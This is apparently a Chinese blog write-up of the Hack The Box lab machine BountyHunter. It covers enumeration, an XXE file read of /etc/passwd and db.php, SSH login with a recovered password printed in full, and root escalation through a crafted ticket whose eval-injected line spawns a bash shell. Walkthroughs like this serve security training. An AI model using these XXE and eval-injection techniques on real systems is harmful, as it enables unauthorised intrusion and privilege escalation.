Linux/BountyHunter

Enumeration

nmap

第一次扫描发现系统对外开放了21,22,80端口,端口详细信息如下

和以前一样,先从80端口的http服务开始探索

TCP/80

访问站点,主页有三个按钮,about,contact和portal。看起来像是一个安全研究,漏洞悬赏这一类的网站

点击about按钮,会滚动网页到对应地方,有更详细的介绍,介绍团队是针对系统漏洞的赏金猎人,如果感兴趣可以联系,还提到了团队成员掌握了缓冲区溢出漏洞,在最下面有一个报价表下载的按钮

点击contact会转到一个留言板

点击portal进入一个很简单的页面

点击here跳转到一个log_submit.php表单

dirsearch

先暂时放着,扫描一下web目录,看看有没有其他发现

dirsearch -u "http://10.10.11.100"

扫描发现只有这几个响应是200,但是并没有发现什么有意思的东西,db.php是空白的

resources下有readme.txt

但是并没有发现有意思的东西

Foothold

XML外部实体注入(XXE)

刚才还发现了log_submit.php,是一个表单,填写完内容点击提交后显示,如果DB准备好,将会添加下列信息,又出现了db,刚刚还发现了db.php

在burpsuite中可以发现,在提交这个包时对data进行了编码

尝试使用CyberChef去解码,先解一遍url,然后解base64,得到了结果,发现请求包中的数据是xml格式的

尝试利用xxe来检索文件,参考XML External Entity - Payloads All The Things

根据xml头,选择这个paylaod

编辑payload,然后对代码进行base64编码,在转化成url编码

将编码内容作为data的值发送,服务器响应后返回/etc/passwd文件

再次尝试,看看能否直接读取db.php文件的内容,但是失败了,而读取index.php也不行,查看别人的payload,发现有可能是因为无法将php代码处理为xml实体,所以使用了php过滤器

和刚才的方法一样,先编码

然后发送请求,得到的响应是被base64编码过的

将响应包中的内容解码得到了db.php的内容,可以看到有一些登录凭证

刚才在查看/etc/passwd时发现能登陆的用户只有root和development,考虑密码复用,尝试使用ssh连接远程主机,尝试development:m19RoAU0hP41A1sTsq6K时成功,可以找到user.txt

Privilege Escalation

在development目录下不仅发现了user.txt,还发现了contract.txt

该文件写有一段话,其中提到了有关 John 与 Skytrain Inc 的合同以及“rm -rf”事件的信息。还建议了我们可以研究的内部工具。

尝试在系统中搜索有关Skytrain Inc的东西

发现了留下的信息中提到的东西,进入该目录,发现了一个python脚本和一个无效票据目录

在刚刚的提示中还说了给了权限,猜测有可能与sudo有关,发现确实如此

首先看看python脚本中到底写了什么,可以看到一开始就要打开文件,匹配文件后缀为.md,而invalid_tickets中就有四个后缀名为.md的文件


#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

如果文件名能够匹配,就检查文件中的内容,检查第一行是不是"# Skytrain Inc",检查第二行是不是"## Ticket to ",检查有没有"__Ticket Code:__",在ticket行必须以"**"开头,ticket除以7的余数必须等于4,满足这个条件,则会调用eval函数删除"**"……

先尝试使用python脚本处理一张无效票据

在无效票据的基础上创建一张有效的

因为python脚本执行了危险函数eval,可以尝试导入os模块,并调用system函数来提权,编写md文件如下

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**18+410+__import__('os').system('bash')**
##Issued: 2021/04/06
#End Ticket

执行命令后成功获取root权限

  • 8
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值